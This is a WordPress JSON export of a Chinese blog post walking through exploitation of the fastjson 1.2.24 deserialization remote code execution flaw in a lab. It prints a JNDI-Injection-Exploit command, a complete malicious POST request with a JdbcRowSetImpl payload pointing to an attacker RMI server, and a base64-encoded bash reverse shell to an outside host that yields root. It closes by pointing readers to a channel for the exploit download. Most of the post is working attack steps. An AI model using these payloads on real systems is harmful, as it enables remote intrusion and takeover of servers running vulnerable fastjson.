{"id":1175,"date":"2022-12-13T12:23:32","date_gmt":"2022-12-13T04:23:32","guid":{"rendered":"https:\/\/blog.langsasec.cn\/?p=1175"},"modified":"2022-12-13T12:23:32","modified_gmt":"2022-12-13T04:23:32","slug":"fastjson-1-2-24-rce","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2022\/12\/13\/fastjson-1-2-24-rce\/","title":{"rendered":"fastjson 1.2.24-rce"},"content":{"rendered":"

<\/span>\u6f0f\u6d1e\u6982\u8ff0<\/span><\/h2>\n

fastjson 1.2.24 \u53cd\u5e8f\u5217\u5316\u5bfc\u81f4\u4efb\u610f\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u5f71\u54cd\u8303\u56f4\uff1afastjson<=1.2.24<\/p>\n

<\/span>\u73af\u5883\u642d\u5efa<\/span><\/h2>\n

\u73af\u5883\u642d\u5efa\u5b8c\u6bd5\uff0c\u8bbf\u95eehttp:\/\/192.168.0.140:8090\/\uff0c\u5f97\u5230\u5982\u4e0b\u9875\u9762<\/p>\n

\"img\" <\/p>\n

\u6293\u5305\uff0c\u4fee\u6539\u6570\u636e\u5305\uff0c\u5c31\u53ef\u4ee5\u66f4\u65b0\u670d\u52a1\u5668\u7aef\u7684\u4fe1\u606f<\/p>\n

GET\u4fee\u6539\u6210POST\uff0c\u518d\u6dfb\u52a0<\/p>\n

Content-Type:application\/json<\/p>\n

{"name":"hello","age":20}<\/p>\n

\"img\" <\/p>\n

<\/span>\u547d\u4ee4\u6267\u884c<\/span><\/h2>\n

1\uff09\u5229\u7528\u5de5\u5177\u81ea\u52a8\u5f00\u542fRMI\u548cLDAP\u670d\u52a1\u4ee5\u53ca\u53d1\u5e03Exploit\u7c7b<\/p>\n

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "\u8981\u6267\u884c\u7684\u547d\u4ee4" -A "vpsip"<\/p>\n

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch \/tmp\/access" -A "192.168.0.1"<\/p>\n

\"img\" <\/p>\n

2\uff09\u6839\u636e\u542f\u52a8\u7684\u670d\u52a1\u6784\u9020\u6570\u636e\u5305<\/p>\n

POST \/ HTTP\/1.1<\/p>\n

Host: 192.168.0.140:8090<\/p>\n

Accept-Encoding: gzip, deflate<\/p>\n

Accept: \/<\/em><\/p>\n

Accept-Language: en<\/p>\n

User-Agent: Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\/5.0)<\/p>\n

Connection: close<\/p>\n

Content-Type: application\/json<\/p>\n

Content-Length: 160<\/p>\n

{<\/p>\n

"b":{<\/p>\n

\u200b "@type":"com.sun.rowset.JdbcRowSetImpl",<\/p>\n

\u200b "dataSourceName":"rmi:\/\/192.168.0.1:1099\/cstvrv",<\/p>\n

\u200b "autoCommit":true<\/p>\n

}<\/p>\n

}<\/p>\n

\"img\" <\/p>\n

\"img\" <\/p>\n

\u8fdb\u5165\u540e\u53f0\u67e5\u770b\u547d\u4ee4\u662f\u5426\u6267\u884c\u6210\u529f\uff0c\u547d\u4ee4\u6210\u529f\u6267\u884c\uff0c\u521b\u5efa\/tmp\/access\u6587\u4ef6<\/p>\n

\"img\" <\/p>\n

<\/span>\u53cd\u5f39shell<\/span><\/h2>\n

bash-i >& \/dev\/tcp\/192.168.0.1\/99990>&1-> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg #base64\u7f16\u7801<\/p>\n

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg}|{base64,-d}|{bash,-i}" -A "192.168.0.1"<\/p>\n

\"img\" <\/p>\n

\u540c\u6837\u7684\u6839\u636e\u542f\u52a8\u7684\u670d\u52a1\u6784\u9020\u6570\u636e\u5305\u8fdb\u884c\u53d1\u9001\uff0c\u7136\u540e\u4ee5\u4e0b\u4e24\u4e2a\u7ed3\u679c\u4f1a\u5148\u5f39\u51fa<\/p>\n

\"img\" <\/p>\n

\u8fc7\u4e00\u4f1a\u513f\uff0c\u53cd\u5f39shell\u5c31\u4f1a\u5f39\u51fa\uff0croot\u6743\u9650\uff0c\u80fd\u591f\u6b63\u5e38\u6267\u884c\u547d\u4ee4<\/p>\n

\"img\" <\/p>\n

<\/span>\u83b7\u53d6exp<\/span><\/h2>\n
\n

\u5173\u6ce8\u6d6a\u98d2sec\u56de\u590d221213<\/code>\u83b7\u53d6exp\u4e0b\u8f7d\u5730\u5740<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"

\u6f0f\u6d1e\u6982\u8ff0 fastjson 1.2.24 \u53cd\u5e8f\u5217\u5316\u5bfc\u81f4\u4efb\u610f\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u5f71\u54cd\u8303\u56f4\uff1afastjson< […]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34],"tags":[],"class_list":["post-1175","post","type-post","status-publish","format-standard","hentry","category-vulfx"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1175","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1175"}],"version-history":[{"count":1,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1175\/revisions"}],"predecessor-version":[{"id":1177,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1175\/revisions\/1177"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1175"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}